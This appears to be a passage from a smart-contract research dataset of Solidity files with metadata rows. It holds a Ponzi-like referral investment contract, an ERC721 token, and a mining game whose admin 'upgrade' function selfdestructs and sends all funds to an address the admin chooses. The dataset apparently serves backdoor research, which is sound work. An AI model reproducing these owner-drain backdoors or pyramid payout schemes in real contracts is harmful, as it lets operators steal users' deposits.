uint256 time;
uint256 amount;
}
struct Player {
address referral;
uint256 dividends;
uint256 referral_bonus;
uint256 last_payout;
uint256 last_withdrawal;
uint256 total_contributed;
uint256 total_withdrawn;
uint256 total_referral_bonus;
PlayerDeposit[] deposits;
PlayerWitdraw[] withdrawals;
mapping(uint8 => uint256) referrals_per_level;
}
mapping(address => Player) internal players;
event Deposit(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event Reinvest(address indexed addr, uint256 amount);
event ReferralPayout(address indexed addr, uint256 amount, uint8 level);
constructor(address payable marketingAddr, address payable adminAddr, address payable devAddr) public {
require(!isContract(marketingAddr) && !isContract(adminAddr) && !isContract(devAddr));
marketingAddress = marketingAddr;
adminAddress = adminAddr;
devAddress = devAddr;
owner = msg.sender;
// Add referral bonuses (max 8 levels) - We use 5 levels
referral_bonuses.push(10 * FIRST_REF);
referral_bonuses.push(10 * SECOND_REF);
referral_bonuses.push(10 * THIRD_REF);
referral_bonuses.push(10 * FOURTH_REF);
referral_bonuses.push(10 * FIFTH_REF);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function deposit(address _referral) external payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(!isContract(_referral));
require(msg.value >= 1e8, "Zero amount");
require(msg.value >= DEPOSIT_MIN_AMOUNT, "Deposit is below minimum amount");
Player storage player = players[msg.sender];
require(player.deposits.length < 1500, "Max 1500 deposits per address");
// Check and set referral
_setReferral(msg.sender, _referral);
// Create deposit
player.deposits.push(PlayerDeposit({
amount: msg.value,
totalWithdraw: 0,
time: uint256(block.timestamp)
}));
// Add new user if this is first deposit
if(player.total_contributed == 0x0){
total_investors += 1;
}
player.total_contributed += msg.value;
total_contributed += msg.value;
// Generate referral rewards
_referralPayout(msg.sender, msg.value);
// Pay fees
_feesPayout(msg.value);
emit Deposit(msg.sender, msg.value);
}
function _setReferral(address _addr, address _referral) private {
// Set referral if the user is a new user
if(players[_addr].referral == address(0)) {
// If referral is a registered user, set it as ref, otherwise set adminAddress as ref
if(players[_referral].total_contributed > 0) {
players[_addr].referral = _referral;
} else {
players[_addr].referral = adminAddress;
}
// Update the referral counters
for(uint8 i = 0; i < referral_bonuses.length; i++) {
players[_referral].referrals_per_level[i]++;
_referral = players[_referral].referral;
if(_referral == address(0)) break;
}
}
}
function _referralPayout(address _addr, uint256 _amount) private {
address ref = players[_addr].referral;
Player storage upline_player = players[ref];
// Generate upline rewards
for(uint8 i = 0; i < referral_bonuses.length; i++) {
if(ref == address(0)) break;
uint256 bonus = _amount * referral_bonuses[i] / 1000;
players[ref].referral_bonus += bonus;
players[ref].total_referral_bonus += bonus;
total_referral_bonus += bonus;
emit ReferralPayout(ref, bonus, (i+1));
ref = players[ref].referral;
}
}
function _feesPayout(uint256 _amount) private {
// Send fees if there is enough balance
if (address(this).balance > _feesTotal(_amount)) {
marketingAddress.transfer(_amount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
adminAddress.transfer(_amount.mul(ADMIN_FEE).div(PERCENTS_DIVIDER));
devAddress.transfer(_amount.mul(DEV_FEE).div(PERCENTS_DIVIDER));
}
}
// Total fees amount
function _feesTotal(uint256 _amount) private view returns(uint256 _fees_tot) {
_fees_tot = _amount.mul(MARKETING_FEE+ADMIN_FEE+DEV_FEE).div(PERCENTS_DIVIDER);
}
function withdraw() public {
Player storage player = players[msg.sender];
PlayerDeposit storage first_dep = player.deposits[0];
// Can withdraw once every WITHDRAWAL_DEADTIME days
require(uint256(block.timestamp) > (player.last_withdrawal + WITHDRAWAL_DEADTIME) || (player.withdrawals.length <= 0), "You cannot withdraw during deadtime");
require(address(this).balance > 0, "Cannot withdraw, contract balance is 0");
require(player.deposits.length < 1500, "Max 1500 deposits per address");
// Calculate dividends (ROC)
uint256 payout = this.payoutOf(msg.sender);
player.dividends += payout;
// Calculate the amount we should withdraw
uint256 amount_withdrawable = player.dividends + player.referral_bonus;
require(amount_withdrawable > 0, "Zero amount to withdraw");
// Do Withdraw
if (address(this).balance < amount_withdrawable) {
player.dividends = amount_withdrawable.sub(address(this).balance);
amount_withdrawable = address(this).balance;
} else {
player.dividends = 0;
}
msg.sender.transfer(amount_withdrawable);
// Update player state
player.referral_bonus = 0;
player.total_withdrawn += amount_withdrawable;
total_withdrawn += amount_withdrawable;
player.last_withdrawal = uint256(block.timestamp);
// If there were new dividends, update the payout timestamp
if(payout > 0) {
_updateTotalPayout(msg.sender);
player.last_payout = uint256(block.timestamp);
}
// Add the withdrawal to the list of the done withdrawals
player.withdrawals.push(PlayerWitdraw({
time: uint256(block.timestamp),
amount: amount_withdrawable
}));
emit Withdraw(msg.sender, amount_withdrawable);
}
function _updateTotalPayout(address _addr) private {
Player storage player = players[_addr];
// For every deposit calculate the ROC and update the withdrawn part
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 time_end = dep.time + CONTRIBUTION_DAYS * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
player.deposits[i].totalWithdraw += dep.amount * (to - from) * CONTRIBUTION_PERC / CONTRIBUTION_DAYS / 8640000;
}
}
}
function withdrawalsOf(address _addrs) view external returns(uint256 _amount) {
Player storage player = players[_addrs];
// Calculate all the real withdrawn amount (to wallet, not reinvested)
for(uint256 n = 0; n < player.withdrawals.length; n++){
_amount += player.withdrawals[n].amount;
}
return _amount;
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
// For every deposit calculate the ROC
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 time_end = dep.time + CONTRIBUTION_DAYS * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value += dep.amount * (to - from) * CONTRIBUTION_PERC / CONTRIBUTION_DAYS / 8640000;
}
}
// Total dividends from all deposits
return value;
}
function contractInfo() view external returns(uint256 _total_contributed, uint256 _total_investors, uint256 _total_withdrawn, uint256 _total_referral_bonus) {
return (total_contributed, total_investors, total_withdrawn, total_referral_bonus);
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_referral_bonus, uint256 invested, uint256 withdrawn, uint256 referral_bonus, uint256[8] memory referrals, uint256 _last_withdrawal) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
// Calculate number of referrals for each level
for(uint8 i = 0; i < referral_bonuses.length; i++) {
referrals[i] = player.referrals_per_level[i];
}
// Return user information
return (payout + player.dividends + player.referral_bonus,
player.referral_bonus,
player.total_contributed,
player.total_withdrawn,
player.total_referral_bonus,
referrals,
player.last_withdrawal);
}
function contributionsInfo(address _addr) view external returns(uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory totalWithdraws) {
Player storage player = players[_addr];
uint256[] memory _endTimes = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _totalWithdraws = new uint256[](player.deposits.length);
// Create arrays with deposits info, each index is related to a deposit
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
_amounts[i] = dep.amount;
_totalWithdraws[i] = dep.totalWithdraw;
_endTimes[i] = dep.time + CONTRIBUTION_DAYS * 86400;
}
return (_endTimes,
_amounts,
_totalWithdraws);
}
}
// Libraries used
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 306,352 | 11,372 |
b8d324d6a8281794b06a0c932bb602406fe4c7df08d20c50f8ff1ce0c0c88f8b
| 30,269 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x60bc92bb373c43b477f442abf74a7bf0f43cb104.sol
| 4,090 | 15,436 |
pragma solidity ^0.4.20;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender));
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(address _from, address _to, uint256 _tokenId, bytes _data) internal returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function tokensOfOwner(address _owner) public view returns (uint256[])
{
return ownedTokens[_owner];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract BurnableToken is ERC721BasicToken {
function burn(uint256 _tokenId) public {
_burn(msg.sender, _tokenId);
}
}
contract MintableToken is ERC721Token, Ownable {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _tokenId) public onlyOwner canMint {
_mint(_to, _tokenId);
}
function mintWithURI(address _to, uint256 _tokenId, string _uri) public onlyOwner canMint {
_mint(_to, _tokenId);
super._setTokenURI(_tokenId, _uri);
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _tokenId) onlyOwner canMint public {
require(totalSupply().add(1) <= cap);
return super.mint(_to, _tokenId);
}
function mintWithURI(address _to, uint256 _tokenId, string _uri) onlyOwner canMint public {
require(totalSupply().add(1) <= cap);
return super.mintWithURI(_to, _tokenId, _uri);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is ERC721BasicToken, Pausable {
function approve(address _to, uint256 _tokenId) public whenNotPaused {
return super.approve(_to, _tokenId);
}
function setApprovalForAll(address _to, bool _approved) public whenNotPaused {
return super.setApprovalForAll(_to, _approved);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused {
return super.transferFrom(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused {
return super.safeTransferFrom(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public whenNotPaused {
return super.safeTransferFrom(_from, _to, _tokenId, _data);
}
}
contract BurnablePausableToken is PausableToken, BurnableToken {
function burn(uint256 _tokenId) public whenNotPaused {
super.burn(_tokenId);
}
}
contract Token is ERC721Token , MintableToken, BurnablePausableToken {
function Token()
public
payable
ERC721Token('PUBLIZ', 'PBL')
{
}
function setTokenURI(uint256 _tokenId, string _uri) external onlyOwnerOf(_tokenId) {
super._setTokenURI(_tokenId, _uri);
}
}
| 143,031 | 11,373 |
8c1253b0fcf20201ece57feeef300bcf806826e05c4e695d9b4f2eb985029d01
| 20,609 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb2d6000d4a7fe8b1358d54a9bc21f2badf91d849.sol
| 4,859 | 18,145 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
interface CryptoMiningWarInterface {
function calCurrentCrystals(address) external view returns(uint256);
function subCrystal(address , uint256) external pure;
function fallback() external payable;
function isMiningWarContract() external pure returns(bool);
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns(bool _isContractMiniGame);
function fallback() external payable;
}
contract CryptoEngineer is PullPayment{
// engineer info
address public administrator;
uint256 public prizePool = 0;
uint256 public numberOfEngineer = 8;
uint256 public numberOfBoosts = 5;
address public gameSponsor;
uint256 public gameSponsorPrice = 0.32 ether;
uint256 public VIRUS_MINING_PERIOD = 86400;
// mining war game infomation
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public BASE_PRICE = 0.01 ether;
address public miningWarAddress;
CryptoMiningWarInterface public MiningWar;
// engineer player information
mapping(address => Player) public players;
// engineer boost information
mapping(uint256 => BoostData) public boostData;
// engineer information
mapping(uint256 => EngineerData) public engineers;
// minigame info
mapping(address => bool) public miniGames;
struct Player {
mapping(uint256 => uint256) engineersCount;
uint256 virusNumber;
uint256 research;
uint256 lastUpdateTime;
bool endLoadOldData;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 basePrice;
}
struct EngineerData {
uint256 basePrice;
uint256 baseETH;
uint256 baseResearch;
uint256 limit;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
event BuyEngineer(address _addr, uint256[8] engineerNumbers, uint256 _crytalsPrice, uint256 _ethPrice, uint256 _researchBuy);
event BuyBooster(address _addr, uint256 _boostIdx, address beneficiary);
event ChangeVirus(address _addr, uint256 _virus, uint256 _type); // 1: add, 2: sub
event BecomeGameSponsor(address _addr, uint256 _price);
event UpdateResearch(address _addr, uint256 _currentResearch);
//--------------------------------------------------------------------------
// INIT CONTRACT
//--------------------------------------------------------------------------
constructor() public {
administrator = msg.sender;
initBoostData();
initEngineer();
// set interface main contract
setMiningWarInterface(0x65c347702b66ff8f1a28cf9a9768487fbe97765f);
}
function initEngineer() private
{
engineers[0] = EngineerData(10, BASE_PRICE * 0, 10, 10); //lv1
engineers[1] = EngineerData(50, BASE_PRICE * 1, 3356, 2); //lv2
engineers[2] = EngineerData(200, BASE_PRICE * 2, 8390, 4); //lv3
engineers[3] = EngineerData(800, BASE_PRICE * 4, 20972, 8); //lv4
engineers[4] = EngineerData(3200, BASE_PRICE * 8, 52430, 16); //lv5
engineers[5] = EngineerData(12800, BASE_PRICE * 16, 131072, 32); //lv6
engineers[6] = EngineerData(102400, BASE_PRICE * 32, 327680, 64); //lv7
engineers[7] = EngineerData(819200, BASE_PRICE * 64, 819200, 65536); //lv8
}
function initBoostData() private
{
boostData[0] = BoostData(0x0, 150, BASE_PRICE * 1);
boostData[1] = BoostData(0x0, 175, BASE_PRICE * 2);
boostData[2] = BoostData(0x0, 200, BASE_PRICE * 4);
boostData[3] = BoostData(0x0, 225, BASE_PRICE * 8);
boostData[4] = BoostData(0x0, 250, BASE_PRICE * 16);
}
function isContractMiniGame() public pure returns(bool _isContractMiniGame)
{
_isContractMiniGame = true;
}
function isEngineerContract() public pure returns(bool)
{
return true;
}
function () public payable
{
addPrizePool(msg.value);
}
function setupMiniGame(uint256 , uint256) public
{
require(msg.sender == miningWarAddress);
MiningWar.fallback.value(SafeMath.div(SafeMath.mul(prizePool, 5), 100))();
prizePool = SafeMath.sub(prizePool, SafeMath.div(SafeMath.mul(prizePool, 5), 100));
}
//--------------------------------------------------------------------------
// SETTING CONTRACT MINI GAME
//--------------------------------------------------------------------------
function setMiningWarInterface(address _addr) public isAdministrator
{
CryptoMiningWarInterface miningWarInterface = CryptoMiningWarInterface(_addr);
require(miningWarInterface.isMiningWarContract() == true);
miningWarAddress = _addr;
MiningWar = miningWarInterface;
}
function setContractsMiniGame(address _addr) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface(_addr);
if(MiniGame.isContractMiniGame() == false) { revert(); }
miniGames[_addr] = true;
}
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
//@dev use this function in case of bug
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
//--------------------------------------------------------------------------
// BOOSTER
//--------------------------------------------------------------------------
function buyBooster(uint256 idx) public payable
{
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if (msg.value < b.basePrice || msg.sender == b.owner) revert();
address beneficiary = b.owner;
uint256 devFeePrize = devFee(b.basePrice);
distributedToOwner(devFeePrize);
addMiningWarPrizePool(devFeePrize);
addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3)));
updateVirus(msg.sender);
if (beneficiary != 0x0) updateVirus(beneficiary);
// transfer ownership
b.owner = msg.sender;
emit BuyBooster(msg.sender, idx, beneficiary);
}
function getBoosterData(uint256 idx) public view returns (address _owner,uint256 _boostRate, uint256 _basePrice)
{
require(idx < numberOfBoosts);
BoostData memory b = boostData[idx];
_owner = b.owner;
_boostRate = b.boostRate;
_basePrice = b.basePrice;
}
function hasBooster(address addr) public view returns (uint256 _boostIdx)
{
_boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
_boostIdx = revert_i;
break;
}
}
}
//--------------------------------------------------------------------------
// GAME SPONSOR
//--------------------------------------------------------------------------
function becomeGameSponsor() public payable disableContract
{
uint256 gameSponsorPriceFee = SafeMath.div(SafeMath.mul(gameSponsorPrice, 150), 100);
require(msg.value >= gameSponsorPriceFee);
require(msg.sender != gameSponsor);
//
uint256 repayPrice = SafeMath.div(SafeMath.mul(gameSponsorPrice, 110), 100);
gameSponsor.transfer(repayPrice);
// add to prize pool
addPrizePool(SafeMath.sub(msg.value, repayPrice));
// update game sponsor info
gameSponsor = msg.sender;
gameSponsorPrice = gameSponsorPriceFee;
emit BecomeGameSponsor(msg.sender, msg.value);
}
function addEngineer(address _addr, uint256 idx, uint256 _value) public isAdministrator
{
require(idx < numberOfEngineer);
require(_value != 0);
Player storage p = players[_addr];
EngineerData memory e = engineers[idx];
if (SafeMath.add(p.engineersCount[idx], _value) > e.limit) revert();
updateVirus(_addr);
p.engineersCount[idx] = SafeMath.add(p.engineersCount[idx], _value);
updateResearch(_addr, SafeMath.mul(_value, e.baseResearch));
}
// ----------------------------------------------------------------------------------------
// USING FOR MINI GAME CONTRACT
// ---------------------------------------------------------------------------------------
function setBoostData(uint256 idx, address owner, uint256 boostRate, uint256 basePrice) public onlyContractsMiniGame
{
require(owner != 0x0);
BoostData storage b = boostData[idx];
b.owner = owner;
b.boostRate = boostRate;
b.basePrice = basePrice;
}
function setGameSponsorInfo(address _addr, uint256 _value) public onlyContractsMiniGame
{
gameSponsor = _addr;
gameSponsorPrice = _value;
}
function setPlayerLastUpdateTime(address _addr) public onlyContractsMiniGame
{
require(players[_addr].endLoadOldData == false);
players[_addr].lastUpdateTime = now;
players[_addr].endLoadOldData = true;
}
function setPlayerEngineersCount(address _addr, uint256 idx, uint256 _value) public onlyContractsMiniGame
{
players[_addr].engineersCount[idx] = _value;
}
function setPlayerResearch(address _addr, uint256 _value) public onlyContractsMiniGame
{
players[_addr].research = _value;
}
function setPlayerVirusNumber(address _addr, uint256 _value) public onlyContractsMiniGame
{
players[_addr].virusNumber = _value;
}
function addResearch(address _addr, uint256 _value) public onlyContractsMiniGame
{
updateVirus(_addr);
Player storage p = players[_addr];
p.research = SafeMath.add(p.research, _value);
emit UpdateResearch(_addr, p.research);
}
function subResearch(address _addr, uint256 _value) public onlyContractsMiniGame
{
updateVirus(_addr);
Player storage p = players[_addr];
if (p.research < _value) revert();
p.research = SafeMath.sub(p.research, _value);
emit UpdateResearch(_addr, p.research);
}
function addVirus(address _addr, uint256 _value) public onlyContractsMiniGame
{
Player storage p = players[_addr];
uint256 additionalVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD);
p.virusNumber = SafeMath.add(p.virusNumber, additionalVirus);
emit ChangeVirus(_addr, _value, 1);
}
function subVirus(address _addr, uint256 _value) public onlyContractsMiniGame
{
updateVirus(_addr);
Player storage p = players[_addr];
uint256 subtractVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD);
